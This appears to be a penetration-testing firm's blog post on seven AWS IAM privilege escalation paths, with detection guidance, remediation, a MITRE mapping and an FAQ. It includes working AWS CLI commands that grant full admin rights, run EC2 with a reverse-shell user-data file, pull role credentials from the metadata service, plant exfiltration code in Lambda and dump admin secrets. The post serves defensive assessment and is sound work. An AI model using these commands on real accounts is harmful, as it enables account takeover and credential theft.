Is IAM Identity Center safer than IAM users?

Generally yes due to short-lived sessions, but permission sets still grant IAM-level primitives. The migration helps only if permission sets are scoped tightly.

AWS IAM Privilege Escalation: 7 Paths

Q: How quickly can these privilege escalations be exploited?

Most are exploitable within minutes once initial access exists. Enumeration is the longer phase. In time-boxed red team exercises we typically walk from initial access to administrative access within a few hours when IAM is the path.

Q: Do AWS-managed policies introduce these risks?

Yes. Policies like IAMFullAccess and AdministratorAccess grant primitives that enable several escalation paths. Attaching managed policies as a shortcut is often the root cause.

Q: How often should AWS IAM be audited?

Continuously for new permission grants, quarterly for trust policy and permission boundary review, and annually for full penetration testing against the account graph.

Q: Can these escalations be detected at the network layer?

No. They are API calls to IAM and STS control planes. Detection must live in CloudTrail and identity-aware tooling.

Over the last eighteen months of cloud security assessments, AWS IAM misconfiguration has overtaken every other finding category for us. It is not that the platform is unsafe. It is that least privilege is operationally difficult to maintain, IAM policy evaluation is non-trivial, and the blast radius of a single over-privileged identity in a mature AWS account is enormous.

This post walks through the seven privilege escalation paths we identify most consistently during enterprise AWS assessments. Every one of these depends on a permission that is granted intentionally somewhere in the account, then forgotten about. None of them require exploiting an AWS service vulnerability. They exploit how policies were written.

Why IAM Is the Dominant Cloud Finding Category

Policy authoring is a high-skill activity treated as a low-skill task. Developers write policies to unblock a feature, not to model a permission boundary. AWS managed policies are over-scoped for most use cases, but they ship the feature on Friday, and the planned cleanup never happens.
Permissions accumulate. Roles gain permissions during incidents, debugging sessions, and one-off migrations. Few organisations have working processes to remove unused permissions, and AWS Access Analyzer findings sit unactioned for months.
Policy evaluation is context-dependent. Conditions, resource ARNs, and trust policies interact in ways that are difficult to reason about without tooling. "What can this role actually do" is rarely a simple question.

How We Enumerate IAM Permissions on an Engagement

Pacu for end-to-end enumeration and escalation testing.
CloudMapper for visualisation of trust relationships.
PMapper for graph-based reasoning about effective permissions across roles and users.
Native: aws iam simulate-principal-policy, aws iam list-attached-user-policies, aws iam get-account-authorization-details.

For initial access we often start from a developer access key, a CI/CD role token, or a compromised EC2 instance profile. The path each starting identity affords differs significantly.

Path 1, iam:CreatePolicyVersion

The misconfiguration

An identity holds iam:CreatePolicyVersion on managed policies it does not author. The original intent may have been to allow a CI role to update its own policy. The condition restricting which policies was either omitted or written too broadly.

Exploitation

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/some-existing-policy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

Any identity attached to that policy now inherits full administrative access on next session token issuance. Critically, this avoids creating any new IAM entities. Detection that looks only for new users or new roles will miss it.

CloudTrail detection signals

Look for eventName=CreatePolicyVersion where requestParameters.setAsDefault=true, particularly when the calling principal is not part of an expected automation pipeline. Pair with a watchlist of all policies attached to administrative roles.

Remediation

Restrict iam:CreatePolicyVersion to specific policy ARNs the principal owns, using a Resource field rather than *. Even better, gate this action behind aws:RequestTag conditions that match the role's own naming convention.

Path 2, iam:AttachRolePolicy and iam:AttachUserPolicy

An identity that can attach managed policies to roles or users can attach the AWS-managed AdministratorAccess policy to itself or to a friendly role it can assume.

aws iam attach-user-policy --user-name target-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

We routinely find this permission in roles intended to manage application-specific roles, where the developer used "Resource": "*" instead of scoping to a path prefix or naming convention. The fix is a resource-scoped policy ARN or a condition on the role path.

Path 3, iam:PassRole Chained with ec2:RunInstances or lambda:CreateFunction

The iam:PassRole action allows an identity to attach a role to a service. By itself it does nothing. Chained with a compute action it becomes one of the most powerful escalation primitives in AWS.

Pattern: an identity with iam:PassRole on a privileged role plus ec2:RunInstances can launch an EC2 instance with that role as an instance profile. The instance metadata service then serves credentials for the privileged role to any process running on that instance.

aws ec2 run-instances --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --iam-instance-profile Name=PrivilegedAdminRole \
  --user-data file://reverse-shell.sh
# On the instance:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/PrivilegedAdminRole

The same pattern works with lambda:CreateFunction + lambda:InvokeFunction. Remediation: restrict iam:PassRole with a Resource ARN list, or use the iam:PassedToService condition key.

Path 4, lambda:UpdateFunctionCode on a Privileged Function

If a Lambda function runs with a privileged execution role and an identity can update its code, that identity inherits the function's privileges on next invocation.

aws lambda update-function-code --function-name privileged-cron-job \
  --zip-file fileb://exfil.zip
aws lambda invoke --function-name privileged-cron-job /tmp/out.json

We see this on roles intended for CI/CD pipelines that legitimately need to deploy new Lambda code. The escalation surface comes from the pipeline role being scoped too broadly, it can update any function, not only the functions it deploys.

Path 5, sts:AssumeRole Misconfigurations and Trust Policy Drift

Wildcard Principal: {"AWS": "*"} on a privileged role. Any AWS account can assume it. Sometimes appears during testing and is never tightened.
Cross-account trust to former vendors. The integration ended; the trust did not.
Confused-deputy patterns where an external ID is missing or weakly chosen.
OIDC federation with sub claim filters that match more identities than intended (repo:org/* instead of repo:org/specific-repo:ref:refs/heads/main).

aws sts get-caller-identity
aws iam list-roles | jq -r '.Roles[] | .Arn'
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/PrivilegedRole \
  --role-session-name pentest

Path 6, iam:PutUserPolicy and Inline Policy Abuse

aws iam put-user-policy --user-name self --policy-name escalation \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

This is one of the cleaner escalations from a forensics perspective because the inline policy persists and is easily reviewed. From an attacker perspective it is also one of the most visible. Remediation: prohibit self-modifying IAM permissions.

Path 7, secretsmanager:GetSecretValue on High-Trust Credentials

Secrets Manager and Systems Manager Parameter Store frequently hold long-lived AWS access keys, service account credentials, and database admin passwords. An identity with secretsmanager:GetSecretValue on these secrets inherits whatever those credentials access.

aws secretsmanager list-secrets | jq -r '.SecretList[] | .Name'
aws secretsmanager get-secret-value --secret-id prod/admin/root-key | jq -r '.SecretString'

Detection is harder because the IAM event is legitimate access; the abuse only becomes visible at the next step when the leaked credentials are used. Rotate long-lived credentials to short-lived IAM roles where possible.

Beyond the Seven: Cross-Account and Organisation-Level Escalation

The patterns above target a single account. In Organisations-managed environments we also test:

Service Control Policy (SCP) gaps that allow IAM modifications the SCP intended to block.
Management account compromise paths via cross-account roles assumable from member accounts.
Organisations-level CloudTrail manipulation when the centralised trail is writable from a member account.
IAM Identity Center (formerly SSO) permission set abuse, powerful primitives, rarely audited at the same intensity as IAM policies.

MITRE ATT&CK Mapping

Path 1, 2, 6: T1098.003 Account Manipulation: Additional Cloud Roles
Path 3, 4: T1078.004 Valid Accounts: Cloud Accounts, T1059.009 Cloud API
Path 5: T1550.001 Use Alternate Authentication Material: Application Access Token
Path 7: T1552.001 Unsecured Credentials, T1555.006 Credentials from Password Stores: Cloud Secrets Management Stores

CloudTrail Detection Strategy

CreatePolicyVersion with setAsDefault=true from non-CI principals.
AttachUserPolicy or AttachRolePolicy where the target policy is AdministratorAccess, PowerUserAccess, or any policy granting iam:* or *:*.
PutUserPolicy or PutRolePolicy where the calling principal equals the target principal.
RunInstances or CreateFunction calls that include an IAM instance profile or execution role that does not match the principal's expected scope.
UpdateAssumeRolePolicy on any role with elevated permissions.
GetSecretValue on secrets tagged as containing long-lived credentials, especially when the calling identity is interactive.

Remediation Patterns That Hold Up Under Audit

Permission boundaries. Attach an IAM permission boundary policy to every role that contains iam: permissions, capping the maximum permissions the role can grant downstream.
Service Control Policies. Use Organisations SCPs to deny iam:CreateUser, iam:CreateAccessKey, and self-modifying policy actions in production accounts.
Quarterly trust policy review. Run automated diffing on every trust policy in the account against a known baseline.
Eliminate long-lived credentials. Roles and federated identity wherever the workload supports it.
IAM Access Analyzer at maximum scope. Run on every account and resolve findings.
Network and identity isolation for the management account.

PCI DSS v4.0 requirement 7 and 8 map directly. SOC 2 CC6.1 evidence improves materially.

Frequently Asked Questions

How quickly can these privilege escalations be exploited?

Most are exploitable within minutes once initial access is established. The enumeration phase is the longer task, particularly in accounts with hundreds of roles. In time-boxed red team exercises we generally walk from initial access to administrative access within a few hours when IAM is the path.

Do AWS-managed policies introduce these risks?

Yes. AWS-managed policies like IAMFullAccess, AdministratorAccess, and several legacy service-specific policies grant primitives that enable several escalation paths. Attaching managed policies as a shortcut is convenient and often the root cause of finding clusters.

How does GuardDuty perform against these paths?

GuardDuty surfaces some patterns but does not detect intentional privilege escalation that uses legitimate API calls in expected order. Detection needs to combine GuardDuty signals with CloudTrail-based rules on the specific actions described above.

Is IAM Identity Center (SSO) safer than IAM users?

Generally yes. Short-lived sessions and centralised management remove several legacy risk classes. However, permission sets in Identity Center still grant IAM-level primitives in target accounts. The migration is helpful only if the resulting permission sets are scoped tightly.

How often should AWS IAM be audited?

Continuously for new permission grants (Access Analyzer, custom detection), quarterly for trust policy and permission boundary review, and annually for a full penetration test against the account graph.

Can these escalations be detected at the network layer?

No. They are API calls to the IAM and STS control planes. Detection has to live in CloudTrail and identity-aware tooling. Network controls are not the right layer.

AWS IAM Privilege Escalation: 7 Paths We Find in Every Assessment